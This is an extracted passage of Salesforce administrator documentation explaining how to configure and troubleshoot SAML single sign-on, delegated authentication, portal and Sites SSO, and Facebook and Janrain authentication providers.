
<saml:Attribute Name="logoutURL" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"> <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string"> https://www.salesforce.com </saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement>

Configuring SAML Settings for Single Sign-On


Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Authentication Providers are available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

From this page, you can configure your organization to use single sign-on. You can also set up just-in-time provisioning. Work with your identity provider to properly configure these settings. For more information about single sign-on, see About Single Sign-On. For more information about just-in-time provisioning, see About Just-In-Time Provisioning. Configuring Single Sign-on To configure SAML settings for single sign-on from your corporate identity provider to Salesforce: 1. 2. 3. 4. 5. 6. 7. Gather information from your identity provider. Provide information to your identity provider. In Salesforce, navigate to Your Name > Setup > Security Controls > Single Sign-On Settings, and click Edit. Select SAML Enabled. You must enable SAML to view the SAML single sign-on settings. Specify the SAML version used by your identity provider. Enter the Issuer. This is often referred to as the entity ID for the identity provider. For the Identity Provider Certificate, use the Browse button to locate and upload the authentication certificate issued by your identity provider. 8. For SAML 2.0, if your identity provider has specific login or logout pages, specify them in Identity Provider Login URL and Identity Provider Logout URL, respectively. 9. For the Custom Error URL, specify the URL of the page users should be directed to if there's an error during SAML login. It must be a publicly accessible page, such as a public site Visualforce page. The URL can be absolute or relative. 10. If you are enabling just-in-time provisioning for security, check User Provisioning Enabled.

697

Security and Sharing

Configuring SAML Settings for Single Sign-On

Note: Just-in-time provisioning requires a Federation ID in the user type. In SAML User ID Type, select Assertion contains the Federation ID from the User object. If your identity provider previously used the Salesforce username, communicate to them that they must use the Federation ID.

11. For the SAML User ID Type, SAML User ID Location, and other values as appropriate, specify the value provided by your identity provider. 12. If your Salesforce organization has domains deployed, specify whether you want to use the base domain (https://saml.salesforce.com) or the custom domain for the Entity ID. You must share this information with your identity provider. Tip: Generally, use the custom domain as the entity ID. If you already have single sign-on configured before deploying a domain, the base domain is the entity ID. If you are providing Salesforce to Salesforce services, you must specify the custom domain. 13. Click Save. If your identity provider supports metadata, and if you've configured SAML using version 2.0, you can click Download Metadata to download an XML configuration file to send them, which they can then upload to automatically configure their settings for connecting to your Salesforce organization. After you have configured and saved your SAML settings, test them by trying to access the identity provider's application. Your identity provider directs the user's browser to POST a form containing SAML assertions to the Salesforce login page. Each assertion is verified, and if successful, single sign-on is allowed. If you have difficulty signing on using single sign-on after you have configured and saved your SAML settings, use the SAML Assertion Validator. You may have to obtain a SAML assertion from your identity provider first. If your users are having problems using SAML to login, you can review the SAML login history to determine why they were not able to log in and share that information with your identity provider. If you are using SAML version 2.0, after you've finished configuring SAML, the OAuth 2.0 Token Endpoint field is populated. Use this with the Web single sign-on authentication flow on page 2301 for OAuth 2.0.

See Also:
About Single Sign-On About Just-in-Time Provisioning for SAML Best Practices for Implementing Single Sign-On Viewing Single Sign-On Settings Validating SAML Settings for Single Sign-On Enabling Single Sign-On for Portals Administrator setup guide: Single Sign-On Implementation Guide

698

Security and Sharing

Viewing Single Sign-On Settings

Viewing Single Sign-On Settings


Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Authentication Providers are available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

After you have configured your Salesforce organization to use SAML, you can view the single sign-on settings. Click Your Name > Setup > Security Controls > Single Sign-on Settings. This page lists the details of your SAML configuration. Most of these fields are the same as the fields on the page where you configured SAML. The following fields contain information automatically generated by completing the configuration. The available fields depend on your configuration. Field
Salesforce Login URL

Description For SAML 2.0 only. If you select Assertion contains User's salesforce.com username for SAML User ID Type and User ID is in the NameIdentifier element of the Subject statement for SAML User ID Location, this URL is the URL associated with login for the Web single sign-on OAuth assertion flow. See SAML Assertion Flow on page 2301

Salesforce Logout URL For SAML 2.0. Displays the Salesforce logout URL that the user is directed to after he or she logs off. This URL is only used if no value is specified for Identity Provider Logout URL. OAuth 2.0 Token Endpoint

For SAML 2.0 only: The ACS URL used with enabling Salesforce as an identity provider in the Web single sign-on OAuth assertion flow. See SAML Assertion Flow on page 2301.

From this page you can do any of the following: Click Edit to change the existing SAML configuration. Click SAML Assertion Validator to validate the SAML settings for your organization using a SAML assertion provided by your identity provider.

699

Security and Sharing

Validating SAML Settings for Single Sign-On

If your identity provider supports metadata, and if you've configured SAML using version 2.0, you can click Download Metadata to download an XML configuration file to send them, which they can then upload to automatically configure their settings for connecting to your Salesforce organization.

See Also:
About Single Sign-On Configuring SAML Settings for Single Sign-On Best Practices for Implementing Single Sign-On Viewing Single Sign-On Settings Validating SAML Settings for Single Sign-On Administrator setup guide: Single Sign-On Implementation Guide

Validating SAML Settings for Single Sign-On


Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Authentication Providers are available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

If your users have difficulty logging into Salesforce after you configure Salesforce for single sign-on, use the SAML Assertion Validator and the login history to validate the SAML assertions sent by your identity provider. 1. Obtain a SAML assertion from your identity provider. The assertion can be either in plain XML format or a base64 encoded. If a user tries to log in to Salesforce and fails, the invalid SAML assertion is used to automatically populate the SAML Assertion Validator if possible. 2. Click Your Name > Setup > Security Controls > Single Sign-On Settings, then click SAML Assertion Validator. 3. Enter the SAML assertion into the text box, and click Validate.

700

Security and Sharing

Validating SAML Settings for Single Sign-On

4. Share the results of the validation errors with your identity provider.

See Also:
About Single Sign-On Configuring SAML Settings for Single Sign-On Best Practices for Implementing Single Sign-On Enabling Single Sign-On for Portals Administrator setup guide: Single Sign-On Implementation Guide

SAML Assertion Validation Errors


Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Authentication Providers are available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

Salesforce imposes the following validity requirements on assertions: Authentication Statement The identity provider must include an <AuthenticationStatement> in the assertion. Conditions Statement If the assertion contains a <Conditions> statement, it must contain a valid timestamp. Timestamps The validity period specified in an assertion is honored. In addition, an assertion's timestamp must be less than five minutes old, plus or minus three minutes, regardless of the assertion's validity period setting. This allows for differences between machines. The NotBefore and NotOnOrAfter constraints must also be defined and valid. Attribute If your Salesforce configuration is set to User ID is in an Attribute element, the assertion from the identity provider must contain an <AttributeStatement>. If you are using SAML 1.1, both <AttributeName> and <AttributeNamespace> are required as part of the <AttributeStatement>.

701

Security and Sharing

Validating SAML Settings for Single Sign-On

If you are using SAML 2.0, only <AttributeName> is required. Format The Format attribute of an <Issuer> statement must be set to
"urn:oasis:names:tc:SAML:2.0:nameid-format:entity" or not set at all.

For example:
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://www.salesforce.com</saml:Issuer>

The following example is also valid:


<saml:Issuer >https://www.salesforce.com</saml:Issuer>

Issuer The issuer specified in an assertion must match the issuer specified in Salesforce. Subject The subject of the assertion must be resolved to be either the Salesforce username or the Federation ID of the user. Audience The <Audience> value is required and must match the Entity ID from the single sign-on configuration. The default value is https://saml.salesforce.com. Recipient The recipient specified in an assertion must match either the Salesforce login URL specified in the Salesforce configuration or the OAuth 2.0 token endpoint. This is a required portion of the assertion and is always verified. Signature A valid signature must be included in the assertion. The signature must be created using the private key associated with the certificate that was provided in the SAML configuration. Recipient Verifies that the recipient and organization ID received in the assertion matches the expected recipient and organization ID, as specified in the single sign-on configuration. This is an optional portion of the assertion and is only verified if its present. For example:
Recipient that we found in the assertion: http://aalbert-salesforce.com:8081/ ?saml=02HKiPoin4zeKLPYxfj3twkPsNSJF3fxsH0Jnq4vVeQr3xNkIWmZC_IVk3 Recipient that we expected based on the Single Sign-On Settings page: http://asmith.salesforce.com:8081/ ?saml=EK03Almz90Cik_ig0L97.0BRme6mT4o6nzi0t_JROL6HLbdR1WVP5aQO5w Organization Id that we expected: 00Dx0000000BQlI Organization Id that we found based on your assertion: 00D000000000062

Site URL Attribute Verifies if a valid Sites URL is provided. Values are: Not Provided

702

Security and Sharing

Reviewing the SAML Login History

Checked Site URL is invalid HTTPS is required for Site URL The specified Site is inactive or has exceeded its page limit

Reviewing the SAML Login History


Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Authentication Providers are available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

When a user logs in to Salesforce from another application using single sign-on, SAML assertions are sent to the Salesforce login page. The assertions are checked against assertions in the authentication certificate specified in Your Name > Setup > Security Controls > Single Sign-On Settings. If a user fails to log in, a message is written to the login history log that indicates why the login failed. In addition, the SAML Assertion Validator may be automatically populated with the invalid assertion. To view the login history, click Your Name > Setup > Users > Login History. After viewing the login history, you may want to share the information with your identity provider. The following are the possible failures: Assertion Expired An assertion's timestamp is more than five minutes old. Note: Salesforce does make an allowance of three minutes for clock skew. This means, in practice, that an assertion can be as much as eight minutes passed the timestamp time, or three minutes before it. This amount of time may be less if the assertion's validity period is less than five minutes. Assertion Invalid An assertion is not valid. For example, the <Subject> element of an assertion might be missing. Audience Invalid The value specified in <Audience> must be https://saml.salesforce.com.

703

Security and Sharing

Best Practices for Implementing Single Sign-On

Configuration Error/Perm Disabled Something is wrong with the SAML configuration in Salesforce. For example, the uploaded certificate might be corrupted, or the organization preference might have been turned off. Check your configuration in Your Name > Setup > Security Controls > Single Sign-On Settings, get a sample SAML assertion from your identity provider, and click SAML Assertion Validator. Issuer Mismatched The issuer or entity ID specified in an assertion does not match the issuer specified in your Salesforce configuration. Recipient Mismatched The recipient specified in an assertion does not match the recipient specified in your Salesforce configuration. Replay Detected The same assertion ID was used more than once. Assertion IDs must be unique within an organization. Signature Invalid The signature in an assertion cannot be validated by the certificate in your Salesforce configuration. Subject Confirmation Error The <Subject> specified in the assertion does not match the SAML configuration in Salesforce.

Best Practices for Implementing Single Sign-On


Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer and Database.com Editions Customer Portals and partner portals are not available in Database.com

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

Salesforce offers the following ways to use single sign-on: Federated authentication using Security Assertion Markup Language (SAML): When federated authentication is enabled, Salesforce does not validate a users password. Instead, Salesforce verifies an assertion in the HTTP POST request, and allows single sign-on if the assertion is true. This is the default form of single sign-on. Federated authentication is available in all Editions. Delegated authentication: When delegated authentication is enabled, Salesforce does not validate a users password. Instead, Salesforce makes a Web services call to your organization to establish authentication credentials for the user. You must request that this feature be enabled by salesforce.com. Contact salesforce.com to enable delegated authentication single sign-on for your organization.

704

Security and Sharing

Best Practices for Implementing Single Sign-On

Authentication providers: When authentication providers are enabled, Salesforce does not validate a users password. Instead, Salesforce uses the users login credentials from an external service provider to establish authentication credentials.

In addition, you can also configure SAML for use with portals as well as for Sites. Delegated Authentication Best Practices Consider the following best practices when implementing delegated authentication single sign-on for your organization. Your organizations implementation of the Web service must be accessible by salesforce.com servers. This means you must deploy the Web service on a server in your DMZ. Remember to use your servers external DNS name when entering the Delegated Gateway URL in the Delegated authentication section at Your Name > Setup > Security Controls > Single Sign-On Settings in Salesforce. If salesforce.com and your system cannot connect, or the request takes longer than 10 seconds to process, the login attempt fails. An error is reported to the user indicating that his or her corporate authentication service is down. Namespaces, element names, and capitalization must be exact in SOAP requests. Wherever possible, generate your server stub from the WSDL to ensure accuracy. For security reasons, you should make your Web service available by SSL only. You must use an SSL certificate from a trusted provider, such as Verisign or Thawte. For a full list of trusted providers, contact salesforce.com. The IP address that originated the login request is sourceIp. Use this information to restrict access based on the users location. Note that the Salesforce feature that validates login IP ranges continues to be in effect for single sign-on users. For more information, see Setting Login Restrictions on page 557. You may need to map your organizations internal usernames and Salesforce usernames. If your organization does not follow a standard mapping, you may be able to extend your user database schema (for example, Active Directory) to include the Salesforce username as an attribute of a user account. Your authentication service can then use this attribute to map back to a user account. We recommend that you do not enable single sign-on for system administrators. If your system administrators are single sign-on users and your single sign-on server has an outage, they have no way to log in to Salesforce. System administrators should always be able to log in to Salesforce so they can disable single sign-on in the event of a problem. We recommend that you use a Developer Edition account or a sandbox when developing a single sign-on solution before implementing it in your organization. To sign up for a free Developer Edition account, go to developer.force.com. Make sure to test your implementation with Salesforce.com clients such as Salesforce for Outlook, Connect for Office, and Connect Offline. For more information, see Single Sign-On for Salesforce clients.

Federated Authentication using SAML Best Practices Consider the following best practices when implementing federated single sign-on with SAML for your organization. Obtain the Recipient URL value from the configuration page and put it in the corresponding configuration parameter of your Identity Provider. Salesforce allows a maximum of three minutes for clock skew with your IDP server; make sure your servers clock is up-to-date. If you are unable to log in with SAML assertion, always check the login history and note the error message. You need to map your organizations internal usernames and Salesforce usernames. You have two choices to do this: add a unique identifier to the FederationIdentifier field of each Salesforce user, or extend your user database schema (for example, Active Directory) to include the Salesforce username as an attribute of a user account. Choose the corresponding option for the SAML User ID Type field and configure your authentication service to send the identifier in SAML assertions. Before allowing users to log in with SAML assertions, enable the SAML organization preference and provide all the necessary configurations. We recommend that you use Developer Edition account or a sandbox when testing a SAML single sign-on solution. To sign up for a free Developer Edition account, go to developer.force.com.

705

Security and Sharing

Best Practices for Implementing Single Sign-On

All sandbox copies are made with federated authentication with SAML disabled. Any configuration information is preserved, except the value for Recipient URL. The Recipient URL is updated to match your sandbox URL, for example http://cs1.salesforce.com, after you re-enable SAML. To enable SAML in the sandbox copy, click Your Name > Setup > Security Controls > Single Sign-On Settings; then click Edit, and select SAML Enabled. Your identity provider must allow you to set the service providers audience URL. The value must match the Entity ID value in the single sign-on configuration. The default value is https://saml.salesforce.com.

Single Sign-On for Portals Best Practices Only SAML version 2.0 can be used with portals. Only Customer Portals and partner portals are supported. Service provider initiated login is not supported. Both the portal_id and organization_id attributes are required for single sign-on for portals. If only one is specified, the user receives an error. If both the portal_id and organization_id attributes are populated in the SAML assertion, the user is directed to that portal login. If neither is populated, the user is directed to the regular SAML Salesforce login. More than one portal can be used with a single organization.

Single Sign-On for Sites Best Practices Only SAML version 2.0 can be used with Sites. Only Customer Portals and partner portals are supported. Service provider initiated login is not supported. The portal_id, organization_id and siteUrl attributes are required for single sign-on for Sites. If only one is specified, the user receives an error. If all three of the portal_id, organization_id and siteUrl attributes are populated in the SAML assertion, the user is directed to that Sites login. If the siteUrl isnt populated and the other two are, the user is directed to that portal login. More than one portal can be used with a single organization.

See Also:
About Single Sign-On Single Sign-On Implementation Guide

706

Security and Sharing

Enabling Single Sign-On for Portals

Enabling Single Sign-On for Portals


Customer Portal is available in: Enterprise, Unlimited, and Developer Editions Partner Portal is available in: Enterprise and Unlimited Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

Single sign-on is a process that allows network users to access all authorized network resources without having to log in separately to each resource. Single sign-on allows you to validate usernames and passwords against your corporate user database or other client application rather than having separate user passwords managed by Salesforce. You can set up Customer Portals and partner portals to use SAML single sign-on, so that a customer only has to login once. Note: Single sign-on with portals is only supported for SAML 2.0.

To enable single sign-on for portals: 1. In addition to the SAML sign-on information that must be gathered and shared with your identity provider, you must supply your information provider with the Organization ID and the Portal ID. In the SAML assertion that is sent from your identity provider, the portal_id and organization_id must be added as attributes. Note: You can leave these attributes blank to differentiate between portal and platform users. For example, when blank, the user is a regular platform user and when populated, the user is a portal user. a. Click Your Name > Setup > Company Profile > Company Information and copy the ID located in the Salesforce Organization ID. b. For Customer Portals, click Your Name > Setup > Customize > Customer Portal > Settings, click the name of the Customer Portal, and copy the ID located in the Portal ID.

707

Security and Sharing

Enabling Single Sign-On for Sites

c. For partner portals, click Your Name > Setup > Customize > Partners > Settings, click the name of the partner portal, and copy the ID located in the salesforce.com Portal ID.

See Also:
About Single Sign-On Configuring SAML Settings for Single Sign-On Best Practices for Implementing Single Sign-On Partner Portal Overview Setting Up Your Customer Portal

Enabling Single Sign-On for Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

Single sign-on is a process that allows network users to access all authorized network resources without having to log in separately to each resource. Single sign-on allows you to validate usernames and passwords against your corporate user database or other client application rather than having separate user passwords managed by Salesforce. You can set up Sites to use SAML single sign-on, so that a customer only has to login once. To enable single sign-on for Sites using an identity provider: 1. 2. 3. 4. Set up either a Customer Portal or a partner portal. Set up your Sites. If you are using the Customer Portal, set up your Sites to use Customer Portal. In addition to the SAML sign-on information that must be gathered and shared with your identity provider, you must supply your information provider with the following: Organization ID Portal ID Sites URL

The following must be added as attributes to the SAML assertion sent from your identity provider:
organization_id portal_id siteurl

To find these values: a. Click Your Name > Setup > Company Profile > Company Information and copy the ID located in the Salesforce Organization ID.

708

Security and Sharing

Enabling Single Sign-On for Sites

b. For the Customer Portal, click Your Name > Setup > Customize > Customer Portal > Settings, click the name of the Customer Portal, and copy the ID located in the Portal ID. For partner portals, click Your Name > Setup > Customize > Partners > Settings, click the name of the partner portal, and copy the ID located in the salesforce.com Portal ID. c. Click Your Name > Setup > Develop > Sites, click the name of the Site, then copy the URL either located in the Default Web Address, the Secure Web Address, or the Custom Web Address, depending on which one you want your users to use when logging into Salesforce. Service Provider Initiated SAML for Sites Salesforce automatically provides single sign-on for Sites using SAML for when your company's identity provider initiates login. If you wanted to use SAML for Sites for when a service provider initiates sign-on, you must first create a Visualforce page that provides a redirect to your server. The following is an example:
<apex:page showHeader="false" sidebar="false"> <script> var PingSpURL = "https://my.pingserver.com:9031/idp/startSSO.ping?PartnerSpId=salesforce.com.sp"; var siteLoginPage = "&TargetResource={!$Site.CurrentSiteUrl}siteLogin?startUrl={!$Site.OriginalUrl}"; window.location = PingSpURL+siteLoginPage; </script> </apex:page>

See Also:
About Single Sign-On Configuring SAML Settings for Single Sign-On Best Practices for Implementing Single Sign-On Force.com Sites Overview Partner Portal Overview Setting Up Your Customer Portal

709

Security and Sharing

Understanding Delegated Authentication Single Sign-On

Understanding Delegated Authentication Single Sign-On


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

Salesforce uses the following process for authenticating users using delegated authentication single sign-on: 1. When a user tries to log ineither online or using the APISalesforce validates the username and checks the users permissions and access settings. 2. If the user has the Is Single Sign-On Enabled user permission, then Salesforce does not validate the username and password. Instead, a Web services call is made to the users organization, asking it to validate the username and password. Note: Salesforce doesnt store, log, or view the password in any way. It is disposed of immediately once the process is complete. 3. The Web services call passes the username, password, and sourceIp to your Web service. (sourceIp is the IP address that originated the login request. You must create and deploy an implementation of the Web service that can be accessed by salesforce.com servers.) 4. Your implementation of the Web service validates the passed information and returns either true or false. 5. If the response is true, then the login process continues, a new session is generated, and the user proceeds to the application. If false is returned, then the user is informed that his or her username and password combination is invalid. Note: System administrators should have single sign-on disabled. If your system administrators were single sign-on users and your single sign-on server had an outage, the administrators would have no way to log in to Salesforce. System administrators should always be able to log in to Salesforce so that they can disable single sign-on in the event of a problem. All users, except those with the System Administrator profile, have delegated authentication enabled by default in Professional Edition.

710

Security and Sharing

Understanding Delegated Authentication Single Sign-On

There may be a momentary delay before a new user can log in after using delegated authentication due to the time required for the new user account to become available in the organization.

See Also:
Configuring Salesforce for Delegated Authentication Example SAML Assertions About Single Sign-On Best Practices for Implementing Single Sign-On Administrator setup guide: Single Sign-On Implementation Guide

Configuring Salesforce for Delegated Authentication


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

To enable delegated authentication single sign-on (SSO) for your organization: 1. Contact salesforce.com to enable delegated authentication single sign-on for your organization. 2. Build your single sign-on Web service: a. In Salesforce, download the Web Services Description Language (WSDL) file, AuthenticationService.wsdl, by clicking Your Name > Setup > Develop > API > Download Delegated Authentication WSDL. The WSDL describes the delegated authentication single sign-on service and can be used to automatically generate a server-side stub to which you can add your specific implementation. For example, in the WSDL2Java tool from Apache Axis, you can use the --server-side switch. In the wsdl.exe tool from .NET, you can use the /server switch. For a sample request and response, see Sample SOAP Message for Delegated Authentication on page 691. b. Add a link to your corporate intranet or other internally-accessible site that takes the authenticated users credentials and passes them through an HTTP POST to the Salesforce login page. Because Salesforce does not use the password field other than to pass it back to you, you do not need to send a password in this field. Instead, you could pass another authentication token, such as a Kerberos Ticket so that your actual corporate passwords are not passed to or from Salesforce. You can configure the Salesforce delegated authentication authority to allow only tokens or to accept either tokens or passwords. If the authority only accepts tokens, a Salesforce user cannot log in to Salesforce directly, because they cannot

711

Security and Sharing

Understanding Delegated Authentication Single Sign-On

create a valid token. However, many companies choose to allow both tokens and passwords. In this environment, a user could still log in to Salesforce through the login page. When the salesforce.com server passes these credentials back to you in the Authenticate message, verify them, and the user will gain access to the application. 3. In Salesforce, specify your organizations single sign-on gateway URL by clicking Your Name > Setup > Security Controls > Single Sign-On Settings > Edit. Enter the URL in the Delegated Gateway URL text box. For security reasons, Salesforce restricts the outbound ports you may specify to one of the following: 80: This port only accepts HTTP connections. 443: This port only accepts HTTPS connections. 102466535 (inclusive): These ports accept HTTP or HTTPS connections.

4. Optionally, check the Force Delegated Authentication Callout box. Note: When this box is unchecked, a call is not made to the SSO endpoint if the login attempt first fails because of login restrictions within the Salesforce organization. If you must record every login attempt, then check this box to force a callout to the SSO endpoint regardless of login restriction failures. 5. Enable the Is Single Sign-On Enabled permission. For more information, see Overview of User Permissions and Access on page 560. Important: If single sign-on is enabled for your organization, API and desktop client users cant log into Salesforce unless their IP address is included on your organizations list of trusted IP addresses or on their profile, if their profile has IP address restrictions set. Futhermore, the single sign-on authority usually handles login lockout policies for users with the Is Single Sign-On Enabled permission. However, if the security token is enabled for your organization, then your organizations login lockout settings determine the number of times a user can attempt to log in with an invalid security token before being locked out of Salesforce. For more information, see Setting Login Restrictions on page 557. For information on how to view login errors, see Viewing Single Sign-On Login Errors on page 610.

See Also:
Understanding Delegated Authentication Single Sign-On About Single Sign-On Example SAML Assertions

712

External User Authentication

About External Authentication Providers

EXTERNAL USER AUTHENTICATION


About External Authentication Providers
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Manage Auth. Providers

You can enable users to log into your Salesforce organization using their login credentials from an external service provider such as Facebook or Janrain. You must do the following to successfully set up an authentication provider for single sign-on. Correctly configure the service provider website. Create a registration handler using Apex. Define the authentication provider in your organization.

After your authentication provider is set up, the basic flow is the following. 1. 2. 3. 4. 5. The user tries to login to Salesforce using a third party identity. The login request is redirected to the third party authentication provider. The user performs the third party login and approves access. The authentication provider redirects the user to Salesforce with credentials. The user is signed into Salesforce. Note: If a user has an existing Salesforce session, after authentication with the third party they are automatically redirected to the page where they can approve the link to their Salesforce account.

Defining Your Authentication Provider We support the following providers: Facebook Janrain Salesforce

Creating an Apex Registration Handler A registration handler class is required to use Authentication Providers for the single sign-on flow. The Apex registration handler class must implement the Auth.RegistrationHandler interface, which defines two methods. Salesforce invokes

713

Security and Sharing

Configuring a Facebook Authentication Provider

the appropriate method on callback, depending on whether the user has used this provider before or not. When you create the authentication provider, you can automatically create an Apex template class for testing purposes. For more information, see Auth.RegistrationHandler in the Force.com Apex Code Developer's Guide.

Configuring a Facebook Authentication Provider


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Manage Auth. Providers

To use Facebook as an authentication provider: 1. Set up a Facebook application, making Salesforce the application domain. 2. Define a Facebook authentication provider in your Salesforce organization. 3. Update your Facebook application to use the Callback URL generated by Salesforce as the Facebook Website Site URL. 4. Test the connection. Setting up a Facebook Application Before you can configure Facebook for your Salesforce organization, you must set up an application in Facebook: 1. Go to the Facebook website and create a new application. 2. Modify the application settings and set the Application Domain to Salesforce. 3. Note the Application ID and the Application Secret. Defining a Facebook Provider in your Salesforce Organization You need the Facebook Application ID and Application Secret to set up a Facebook provider in your Salesforce organization. 1. 2. 3. 4. 5. Select Your Name > Setup > Security Controls > Auth. Providers. Click New. Select Facebook for the Provider Type. Enter a Name for the provider. Enter the URL Suffix. This is used in the client configuration URLs. For example, if the URL suffix of your provider is MyFacebookProvider, your single sign-on URL is similar to: https://login.salesforce.com/auth/sso/00Dx00000000001/MyFacebookProvider. 6. Use the Application ID from Facebook for the Consumer Key field. 7. Use the Application Secret from Facebook for the Consumer Secret field. 8. Optionally enter a custom error URL for the provider to use to report any errors.

714

Security and Sharing

Configuring a Facebook Authentication Provider

9. Select an already existing Apex class as the Registration Handler class or click Automatically create a registration handler template to create an Apex class template for the registration handler. You must edit this class and modify the default content before using it. Note: You must specify a registration handler class for Salesforce to generate the Single Sign-On Initialization URL. 10. Select the user that runs the Apex handler class for Execute Registration As. The user must have Manage Users permission. A user is required if you selected a registration handler class or are automatically creating one. 11. To use a portal with your provider, select the portal from the Portal drop-down list. 12. Click Save. Be sure to note the generated Auth. Provider Id value. You must use it with the Auth.AuthToken Apex class. Several client configuration URLs are generated after defining the authentication provider:
Test-Only Initialization URL: Administrators use this URL to ensure the third-party provider is set up correctly.

The administrator opens this URL in a browser, signs in to the third party, and is redirected back to Salesforce with a map of attributes. Single Sign-On Initialization URL: Use this URL to perform single sign-on into Salesforce from a third party (using third-party credentials). The end user opens this URL in a browser, and signs in to the third party. This then either creates a new user for them, or updates an existing user, and then signs them into Salesforce as that user. Existing User Linking URL: Use this URL to link existing Salesforce users to a third-party account. The end user opens this URL in a browser, signs in to the third party, signs in to Salesforce, and approves the link. Callback URL: Use the callback URL for the endpoint that the authentication provider calls back to for configuration. The authentication provider has to redirect to the Callback URL with information for each of the above client configuration URLs.

The client configuration URLs support additional request parameters that enable you to direct users to log into specific sites, obtain customized permissions from the third party, or go to a specific location after authenticating. See Using Request Parameters with Client Configuration URLs Updating Your Facebook Application After defining the Facebook authentication provider in your Salesforce organization, go back to Facebook and update your application to use the Callback URL as the Facebook Website Site URL. Testing the Single Sign-On Connection In a browser, open the Test-Only Initialization URL on the Auth. Provider detail page. It should redirect you to Facebook and ask you to sign in. Upon doing so, you are asked to authorize your application. After you authorize, you are redirected back to Salesforce.

715

Security and Sharing

Configuring a Janrain Authentication Provider

Configuring a Janrain Authentication Provider


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Manage Auth. Providers

Setting up a Janrain authentication provider is slightly different from setting up other providers. You dont use the Single Sign-On Initialization URL that you obtain after registering your provider with Salesforce to start the flow. Instead you use Janrains login widget thats deployed on your site. To set up your Janrain provider: 1. 2. 3. 4. Register your application with Janrain and get an apiKey. Define the Janrain authentication provider in your Salesforce organization. Get the login widget code from Janrain. Set up a site that calls the login widget code in your Salesforce organization.

Registering Your Application You must sign up for a Janrain account from the Janrain website. Once you have your Janrain account, you need the apiKey. 1. Click Deployment > Sign-in for Web > Handle Tokens. 2. Copy the apiKey. You need this when creating the Janrain provider in your Salesforce organization. 3. Add salesforce.com to the Janrain domain whitelist in your Janrain account at Deployment > Application Settings > Domain Whitelist. Defining the Janrain Provider in your Salesforce Organization You need the Janrain apiKey to create a Janrain provider in your Salesforce organization. 1. 2. 3. 4. 5. Select Your Name > Setup > Security Controls > Auth. Providers. Click New. Select Janrain for the Provider Type. Enter a Name for the provider. Enter the URL Suffix. This is used in the Callback URL. For example, if the URL suffix of your provider is MyJanrainProvider, your Callback URL is similar to

https://login.salesforce.com/services/authcallback/00D300000007CvvEAE/MyJanrainProvider. 6. Use the Janrain apiKey value for the Consumer Secret. 7. Optionally enter a custom error URL for the provider to use to report any errors. 8. Select an already existing Apex class as the Registration Handler class or click Automatically create a registration handler template to create the Apex class template for the registration handler. You must edit this class to modify the default content before using it.

716

Security and Sharing

Configuring a Janrain Authentication Provider

Note: You must specify a registration handler class for Salesforce to use single sign-on.

9. Select the user that runs the Apex handler class for Execute Registration As. The user must have Manage Users permission. A user is required if you selected a registration handler class or are automatically creating one. 10. To use a portal with your provider, select the portal from the Portal drop-down list. 11. Click Save. Note the value of the generated Callback URL. You need it to complete the Janrain setup. Several client configuration parameters are available after configuring Janrain as the authentication provider. Use these for the flowtype value in the Callback URL with your Janrain login widget:
test: Use this parameter to make sure the third-party provider is set up correctly. The administrator configures a Janrain widget to use flowtype=test, signs in to the third party, and is redirected back to Salesforce with a map of attributes. link: Use this parameter to link existing Salesforce users to a third-party account . The end user goes to a page with a Janrain widget configured to use flowtype=link, signs in to the third party, signs in to Salesforce, and approves the

link. sso: Use this parameter to perform single sign-on into Salesforce from a third party (using third-party credentials). The end user goes to a page with a Janrain widget configured to use flowtype=sso, and signs in to the third party. This then either creates a new user for them, or updates an existing user, and then signs them into Salesforce as that user.

The client configuration URLs support additional request parameters that enable you to direct users to log into specific sites, obtain customized permissions from the third party, or go to a specific location after authenticating. See Using Request Parameters with Client Configuration URLs Getting the Login Widget Code from Janrain You need to get the login widget code from Janrain for your Salesforce organization. 1. From your Janrain account, click Application > Sign-in for Web > Get the Code. 2. Enter the Callback URL value from your Janrain provider information in your Salesforce organization along with the query parameter flowtype=sso as the token URL. For example,
